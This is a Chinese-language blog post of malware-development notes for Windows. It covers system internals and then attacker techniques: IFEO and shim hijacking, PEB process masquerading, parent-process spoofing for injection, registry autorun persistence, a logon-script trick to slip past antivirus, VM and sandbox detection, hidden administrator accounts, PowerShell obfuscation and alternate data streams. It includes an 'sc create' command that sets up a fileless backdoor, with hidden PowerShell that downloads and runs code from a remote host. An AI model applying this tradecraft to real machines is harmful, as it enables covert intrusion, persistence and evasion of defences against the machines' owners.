Windows下virus相关

一、Windows特殊程序

bootim

Windows系统目录下的bootim程序起源于Windows 8,负责显示启动菜单。

svchost 

SVCHOST.EXE位于Windows\system32系统文件夹,其文件描述为“Generic Host Process for Win32 Services”。当Windows启动时,SVCHOST.EXE将自动检查Windows注册表的系统服务组成、构建系统服务列表,然后将相关的.DLL动态链接库文件加载为具体的运行中的系统服务。因此,我们可以将SVCHOST.EXE看作一个“用于加载系统服务的宿主程序”。每个SVCHOST.EXE进程可能会加载一个或若干个系统服务,直到所有的SVCHOST.EXE将全部系统服务加载完毕,所以我们会在任务管理器中看到多个SVCHOST.EXE同时运行。

SVCHOST.EXE进程的“用户名”应该显示为SYSTEM、LOCAL SERVICE或NETWORK SERVICE。如果某个SVCHOST.EXE进程的“用户名”显示的是用户帐户的名称(例如Administrator),则这个SVCHOST.EXE很可能是冒仿的恶意程序。

判断一个SVCHOST.EXE加载了哪些系统服务有两种方法:

  • 法一:
  1. 在Windows任务管理器的“进程”选项卡中查看占用资源较高的SVCHOST.EXE进程对应的PID;
  2. 以管理员权限运行命令提示符(CMD.EXE),在命令提示符中执行:tasklist -svc;
  3. 对照您在任务管理器中看到的SVCHOST.EXE的PID,在上述结果中查找对应的SVCHOST.EXE。
  • 法二:通过系统工具Process Explorer查看。

SID(安全标识符)

SID是唯一标识安全主体/组。安全主体指的是能够对操作系统进行身份验证的任何实体,例如:用户/计算机帐户或使用其中之一的安全上下文运行的线程/进程。每次用户登录系统时,系统都会为该用户创建一个访问令牌,保存用户的SID、特权和用户所属组的SID。
此外,SID还有一种特定的格式。我们可以把它分成三个主要部分:修订版本、标识符权限和子权限。修订版本,指定SID结构的版本。标识符权限,指定为安全主体所属SID的最高权限级别。子权限,它保存着最重要的信息,可以识别本地计算机/域,它的最后一部分是RID(相对标识符),它可以识别本地电脑/域中的特定用户/组,如下图所示。

 


一些特殊的SID示例是:“S-1-1-0”(包含所有用户的组)、“S-1-0-0”(又称NULLSID,一个没有成员的组)。此外,还有著名的RID,如:500(Administrator)、501(Guest)。

SD(安全描述符)

Windows中“对象管理器”创建的每个对象都有一个SD。每个对象都有许多属性,如对象名称、引用计数、对象类型等,其中一个字段是安全描述符。
此外,我们可以认为SD包含四个主要成员:所有者、组、DACL(自由访问控制列表)和 SACL(系统访问控制列表)。DACL用于允许/拒绝SACIL认证的权限。

SAM(安全账户管理)

SAM(安全帐户管理)是Windows中的数据库,用于存储系统中定义的本地用户的用户名/密码。通过配置SAM,我们允许用户向本地系统进行身份验证。
此外,SAM文件位于“%windir%\System32\config\SAM”,该文件安装在注册表中的“HKEY LOCALMACHINE\SAM”20中。要查看其内容,我们需要SYSTEM和本地 Administrator身份。不同的散列值可以存储在SAM中,如LM散列和NTLM散列。我们可以把SAM看作是Linux下的“/etc/passwd”、“/etc/shadow,和“/etc/group”文件的替代。
因为微软想提高SAM中散列的安全性,他们创建了SYSKEY。它使用系统密钥进行加密,以保护存储在SAM中的帐户密码信息。系统密钥可以保存在本地、软盘上或存储在本地,但受管理员密码保护。但是,从Windows 10版本170922开始取消了SYSKEY支持。

访问令牌

“访问令牌”是表示特定进程或线程的访问权限/特权/标识的对象。当特定线程与安全对象交互或执行系统任务需要某种特权时,操作系统使用访问令牌来识别用户的权限。
在用户向系统进行身份验证时,本地安全认证(Local Security Authority,LSA)将创建访问令牌。它包含用户的SID、用户所属的所有组的SID、权限列表、所有者(用户/组)的SID、主组(用于POSIX子系统)、默认的 DACL、会话引用、审计策略。

 

二、技术点

1.程序劫持

在注册表中注册以下键值:

\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks:在资源管理器里双击图标,运行程序或打开文件,都会激活这里的项目。

\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option:映像劫持,在该键下创建劫持目标程序名的键,该键的键值为替换的恶意程序路径名。

 

通过shim实现功能替换:

shim(兼容性修复)是一个库,它透明地拦截API调用并更改传递的参数、处理操作本身或将操作重定向到其他地方。shim也可以理解为在应用程序和Windows API之间的逻辑层。

shim设计的目的是,为了允许旧版系统上编译的程序可以在新版本系统上运行。

当应用程序创建进程的时候,WindowsLoader首先会检查sysmain.sdb(位于%windir%\AppPatch\),如果存在已注册的sdb文件,IAT将被重定向到Shim,实现功能替换。

我们在注册表\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom下创建劫持目标程序的键,并在该键下添加xxx.sdb数据库文件的项,并将数值填上路径名。

 此外,我们还需要注意注册表中HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB,该路径也可以实现shim劫持dll。

参考:https://rninche01.tistory.com/entry/14-shim%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%9C-DLL-Injection

2.进程隐藏

进程伪装

进程环境块PEB记录了进程的映像路径信息和命令行信息,这两个信息可以直接暴露样本来源,所以我们可以通过修改映像路径信息和命令行信息为正常程序的映像路径信息和命令行信息可以实现进程伪装,避免管理员通过查看任务管理器。

我们找到PEB的方法有两种:

1.通过 NtQueryInformationProces 函数获取:

ntdll.dll 里面的 NtQueryInformationProces函数,我们将第二个参数 ProcessInformationClass 设置为 PROCESS_BASIC_INFORMATION即可获得 ProcessInformation 返回特定的结构体。其定义如下。

NTSTATUS NtQueryInformationProcess(
  [in]            HANDLE           ProcessHandle,
  [in]            PROCESSINFOCLASS ProcessInformationClass,
  [out]           PVOID            ProcessInformation,
  [in]            ULONG            ProcessInformationLength,
  [out, optional] PULONG           ReturnLength
);

 当ProcessInformationClass 参数是ProcessBasicInformation,缓冲器指向的PROCESSINFORMATION参数应该足够大,以保持单个PROCESS_BASIC_INFORMATION定义如下:

typedef struct _PROCESS_BASIC_INFORMATION {
    PVOID Reserved1;
    PPEB PebBaseAddress;
    PVOID Reserved2[2];
    ULONG_PTR UniqueProcessId;
    PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;

 其中PebBaseAddress即为PEB的地址。

2.通过fs或gs寄存器获取:

pBaseAddress = __readfsqword(0x30);  //x86
pBaseAddress = __readgsqword(0x60); //x64

 PEB结构体的定义如下:

复制代码
typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged; 
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  BYTE                          Reserved4[104];
  PVOID                         Reserved5[52];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved6[128];
  PVOID                         Reserved7[1];
  ULONG                         SessionId;
} PEB, *PPEB;
复制代码

 其中 PRTL_USER_PROCESS_PARAMETERS 结构体为:

typedef struct _RTL_USER_PROCESS_PARAMETERS {
  BYTE           Reserved1[16];
  PVOID          Reserved2[10];
  UNICODE_STRING ImagePathName;
  UNICODE_STRING CommandLine;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

 我们需修改ImagePathName 和 CommandLine即可。

进程注入+傀儡进程

我们可以复制其他进程的环境信息和线程信息来创建一个子进程,如此可以伪装其父进程信息(也就是恶意样本),将恶意代码注入到该进程中运行。

UpdateProcThreadAttribute函数可以修改线程属性,其中将Attribute成员指定为PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,lpValue为要替换的父进程句柄,如此可以修改子进程的父进程信息。

复制代码
BOOL UpdateProcThreadAttribute(
  [in, out]       LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
  [in]            DWORD                        dwFlags,
  [in]            DWORD_PTR                    Attribute,
  [in]            PVOID                        lpValue,
  [in]            SIZE_T                       cbSize,
  [out, optional] PVOID                        lpPreviousValue,
  [in, optional]  PSIZE_T                      lpReturnSize
);
复制代码

 

 详细以后再写。

dll劫持

 目的还是想通过将恶意代码隐藏到正常的进程中,具体实现参考关于dll劫持那篇文章。

3.开机自启动

(1).在注册表中注册以下键值之一:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersionPolicies\Explorer\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

 

(2).用户登录初始化,添加需要自动启动程序
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit(如果需要多个程序,要用逗号隔开)

(3).还可以将恶意样本复制到Windows特殊目录之一的启动目录Startup中,具体路径可以通过SHGetSpecialFolderPath函数获得。

(4).定时任务:需要使用COM组件,会调用 CoInitializeEx 函数和 CoCreateInstance 函数。区分COM组件时,关注 CoCreateInstance 函数的参数。

(5).注册系统服务:需要使用OpenSCManager、CreateService、OpenService,和StartService等函数。

通过服务设置自启动,结合powershell实现无文件后门

1
2
3
4
sc create "KeyName" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('https://xx.xx.xx.xx:xxx/logo.gif'))\""
sc description  KeyName "Just For Test"   //设置服务的描述字符串
sc config Name start= auto                //设置这个服务为自动启动
net start Name                            //启动服务

(6).Logon Scripts优先于av先先执行,我们可以利用这一点来绕过av的敏感操作拦截。
在注册表HKEY_CURRENT_USER\Environment路径下,创建一个键:UserInitMprLogonScript,值为目标程序的绝对路径。此外,实现可以参考https://cocomelonc.github.io/persistence/2022/12/09/malware-pers-20.html。

(7).屏幕保护程序是在用户不活动的可配置时间之后执行的程序。但是Windows 的这一特性被滥用为一种持久化的方法。默认情况下,scr 扩展名和设置存储在以下注册表项中:在对方使用屏幕保护的情况下,我们可以修改屏保程序为我们的恶意程序从而达到后门持久化

1
HKEY_CURRENT_USER\Control Panel\Desktop

 

注:
1.HKEY_CALSS_ROOT(HKCR)
该根键包括应用程序所需要的信息,包括扩展名与文档之间的关系,图标等
2.HKEY_CURRENT_USER(HKCU)
该根键包括当前登录用户的配置信息,包括环境变量,个人程序及桌面等。
3.HKEY_LOCAL_MACHINE(HKLM)
该根键包括本地计算机的系统信息,包括硬件和操作系统信息,安全数据和计算机专用的各类软件设置信息。
4.HKEY_USERS(HKURE、HKUD)
这些信息告诉系统当前用户使用的图标,激活的程序组,开始菜单内容和颜色字体
5.HKEY_CURRENT_CONFIG(HKCC)
其中的信息是从HKEY_LOCAL_MACHINE映射出来的

4.虚拟机检查

检查以下文件是否存在:

复制代码
"C:\\windows\\System32\\Drivers\\Vmmouse.sys"
, "C:\\windows\\System32\\Drivers\\vmtray.dll"
, "C:\\windows\\System32\\Drivers\\VMToolsHook.dll"
, "C:\\windows\\System32\\Drivers\\vmmousever.dll"
, "C:\\windows\\System32\\Drivers\\vmhgfs.dll"
, "C:\\windows\\System32\\Drivers\\vmGuestLib.dll"
, "C:\\windows\\System32\\Drivers\\VBoxMouse.sys"
, "C:\\windows\\System32\\Drivers\\VBoxGuest.sys"
, "C:\\windows\\System32\\Drivers\\VBoxSF.sys"
, "C:\\windows\\System32\\Drivers\\VBoxVideo.sys"
, "C:\\windows\\System32\\vboxdisp.dll"
, "C:\\windows\\System32\\vboxhook.dll"
, "C:\\windows\\System32\\vboxoglerrorspu.dll"
, "C:\\windows\\System32\\vboxoglpassthroughspu.dll"
, "C:\\windows\\System32\\vboxservice.exe"
, "C:\\windows\\System32\\vboxtray.exe"
, "C:\\windows\\System32\\VBoxControl.exe"
复制代码

检察以下目录是否存在:

"c:\Program Files\VMware"
"c:\ProgramData\VMware"
"c:\Windows\Temp\vmware-SYSTEM"
"c:\Program Files\Common Files\VMware"

检查以下注册表项:

//VMware虚拟机中存在以下键
"
HKLM\Software\VMware, Inc." "HKLM\ControlSet001\Control\Print\Monitors\ThinPrint Print Port Monitor for VMWare" "HKLM\ControlSet002\Control\Print\Monitors\ThinPrint Print Port Monitor for VMWare" "HKLM\CurrentControlSet\Control\Print\Monitors\ThinPrint Print Port Monitor for VMWare" "HKCU\VMware, Inc."
"HKLM\Hardware\Description\System\BIOS\SystemManufacturer"  //虚拟机中该键的值为"VMware, Inc."
"HKLM\Hardware\Description\System\BIOS\SystemProductName"   //虚拟机中该键的值为"VMware Virtual Platform"

5.dump内存

dbghelp32.dll的MiniDumpWriteDump函数可以用于dump指定进程的内存空间,并保存为文件。

 其中dumpType指定dump的内容:

复制代码
typedef enum _MINIDUMP_TYPE {
  MiniDumpNormal = 0x00000000,
  MiniDumpWithDataSegs = 0x00000001,
  MiniDumpWithFullMemory = 0x00000002,
  MiniDumpWithHandleData = 0x00000004,
  MiniDumpFilterMemory = 0x00000008,
  MiniDumpScanMemory = 0x00000010,
  MiniDumpWithUnloadedModules = 0x00000020,
  MiniDumpWithIndirectlyReferencedMemory = 0x00000040,
  MiniDumpFilterModulePaths = 0x00000080,
  MiniDumpWithProcessThreadData = 0x00000100,
  MiniDumpWithPrivateReadWriteMemory = 0x00000200,
  MiniDumpWithoutOptionalData = 0x00000400,
  MiniDumpWithFullMemoryInfo = 0x00000800,
  MiniDumpWithThreadInfo = 0x00001000,
  MiniDumpWithCodeSegs = 0x00002000,
  MiniDumpWithoutAuxiliaryState = 0x00004000,
  MiniDumpWithFullAuxiliaryState = 0x00008000,
  MiniDumpWithPrivateWriteCopyMemory = 0x00010000,
  MiniDumpIgnoreInaccessibleMemory = 0x00020000,
  MiniDumpWithTokenInformation = 0x00040000,
  MiniDumpWithModuleHeaders = 0x00080000,
  MiniDumpFilterTriage = 0x00100000,
  MiniDumpWithAvxXStateContext = 0x00200000,
  MiniDumpWithIptTrace = 0x00400000,
  MiniDumpScanInaccessiblePartialPages = 0x00800000,
  MiniDumpFilterWriteCombinedMemory,
  MiniDumpValidTypeFlags = 0x01ffffff
} MINIDUMP_TYPE;
复制代码

 6.隐藏用户

影子用户就是一个隐形用户,只能通过注册表查看这个用户
在一个用户后面+$可以创建一个匿名用户,创建完毕后我们在吧这个用户添加到administrator组。
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names是最保险的查看系统中账户的方式

7.shellcode混淆

a.PowerShell

常见的手法是通过反引号将变量名和函数名用其他随机命名的变量来代替或分成多段组合的形式混淆变量名或函数名。

通过类似于以下变量对目标变量名进行修改:

1
2
3
4
5
6
7
8
9
10
$CNiJfmZzzQrqZzqKqueOBcUVzmkVbllcEqjrbcaYzTMMd = "`m"
$quiyjqGdhQZgYFRdKpDGGyWNlAjvPCxQTTbmFkvTmyB = "t`Rea"
$JKflrRllAqgRlHQIUzOoyOUEqVuVrqqCKdua = "Get`s"
$GdavWoszHwDVJmpYwqEweQsIAz = "ti`ON"
$xcDWTDlvcJfvDZCasdTnWGvMXkRBKOCGEANJpUXDyjPob = "`L`O`Ca"
$zvlOGdEJVsPNBDwfKFWpvFYvlgJXDvIUgTnQ = "`Get`-"
$kvfTogUXUxMfCoxBikPwWgwHrvNOwjoBxxto = "`i"
$tJdNeNXdANBemQKeUjylmlObtYp = "`AsC`i"
$mhtAtRrydLlYBttEnvxuWkAQPTjvtFPwO = "`G"
$PXIuUKzhMNDUYGZKqftvpAiQ = "t`R`iN

  例如

$stream = $client.GetStream()

经变换后为:

$FhnxzraTRcGKEwVBxaPQHhHvyiHpCEjdcexFyIPIlliZGxbblJcNiUzLhDIqULbVMBwQGEWXOAFOkIzZTKjKHjVUKuxRBIgdDYTtNTRruNrEHqoFJRAtRATuhiXPPXDrIMOUpQOoZVOaMOBrYTuorJoqKJFixgznomJQDHMPwwDodjQZGQbntIwYsDnzBcnlntFeGuQ = $RzmqIRCjwwUvwkMTojfPLldDohLzQAerOlVssvLFavKdUcyfCRkTQtwVPqXlkLNvYZySrhhdWDlOhATBcudyyedoRrgqjGshQJwBpNwegQaAVcKOViXmSOPnMzRBfFxlNmZexVzcfHipcIyhLexonqsWiumxVrqovoGvapxlpsqQzy."$LEticikuLyzaXUpWiERaZpKACUeuHtgmCxnNThxLHKjGHxotUZyBzrITAzbhQhCSstvsqMbwLlcseBQYmHPegIGzVgHHUJEXPSYlpWHsiBkdoKxeXjTiWhpIxbypvEugHSARtGVdOyfswzQEjuYoKJFekUXOVMJhfnnlXIEYHokjDQPPeiStZYwOmXanre$GFdNHVzpQHWWyNBGKVgYBMICzfIUhHVDUlXTTPDoPwlgMpssrYUgFKRbUxqOXRhMdlQuGVFOeYCuVtyZhWTZKuwYqWJlAVHlUrhljESeEBctvrPPvsomDkTFxKCwydCvfOpmoThfRqJKhAUcCVXCOqCEMvybdARX$QFSIpvaoissUJOsuvKcfqgcYRcYYKaoZnecMQTabgRvkTqsdIHQAJyYsSHUCFKaOfkSwtMDhityneBnMPsWoRIBXjRRFiMgXBlmpxBcsEnpUYDtJQPhgVYgRiNJUQDbhOjzOotBI$batkhggXpheaMgjybLjuLhsHyeUSZzfgCgiGsUWYPObzpVydlJrKfPcWvlEpLgdLSUUpuLLvifmvQyRoqTetNGtWlevfeQHDZTMAEjJbhRLANEoYyiMRjviwQXXTsGautWJtpqhWGNkAAHMyzfTOwsGtIkaNRlDYtpFlmpmCCLLi$HFPGBOTGMglWeYCtnmTXLHHTebuTUrmJLnEvxKCTlMBWDNUkInRKMAesTPfPmXQPXNDKLPZvbwSkLKesfZoOMurMLSXngVXHPjJiVgiPeDDheefHtOmxxUsGyyxitaDxDvfkrtqofVtEmHrOXlRFqznpXJQGVjGJH"()

  变换后的函数名运行时遇到“$”符会将后面的内容当作命令,会先执行该命令行,然后将该命令行返回的字符串当作一条新的命令执行。

 参考:https://github.com/tokyoneon/Chimera

8.文件隐藏 

设置文件安全属性

                   我们可以通过设置文件的安全属性来隐藏文件,通过attrib命令实现

将目标文件以数据流文件进行保存

                  WindowsNTFS 有一个称为备用数据流的特性,其中额外的文件数据可以与主文件数据一起存储。NTFS 文件系统为应用程序提供了创建备用信息数据流的能力。默认情况下,所有数据都存储在文件的主未命名数据流中,但是通过使用语法“ file: stream”,您可以对备用数据流进行读写。在将两个文件名用":"分隔,当做一个新文件名去保存。

                通过"dir /r"命令可以看见。

 

 

 

三、杂记

可以通过gzip的magic header来识别gzip压缩包的起始位置,magic header开头为

1F 8B 08 00

 

保护页(PAGE_GUARD)可以触发一个STATUS_GUARD_PAGE_VIOLATION0x80000001)异常

VEH先于SEH进行处理,如果VEH处理了,就轮不到SEH。如果注册了一个VEH,这意味着当通过保护页抛出异常时,EDR通过VEH而不是将异常传递给结构化异常处理程序(SEH)来控制程序流。

EDR通过部署假DLL,有针对性地修改了进程环境块(PEB)内的InLoadOrderModuleList。值得注意的是,这些假DLL并不是独立的实体,而是原始DLL(如ntdll.dll)的手动映射版本。这些假DLL的一个关键特点是它们的RX(读-执行)提交内存区域配备了保护页。当访问这个内存区域(读取或执行)时,保护页会抛出STATUS_GUARD_PAGE_VIOLATION0x80000001)异常,这也被称为页面保护挂钩。这个异常随后激活了EDR的向量异常处理程序(VEH),允许EDR积极影响应用程序的执行流程。我们还能够识别EDR的挂钩DLL中用于检查是否抛出STATUS_GUARD_PAGE_VIOLATION0x80000001)异常的比较操作。

 

posted @   An2i  阅读(44)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 在鹅厂做java开发是什么体验
· 百万级群聊的设计实践
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战
· 永远不要相信用户的输入:从 SQL 注入攻防看输入验证的重要性
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
历史上的今天:
2020-03-28 航电oj1113
点击右上角即可分享
微信分享提示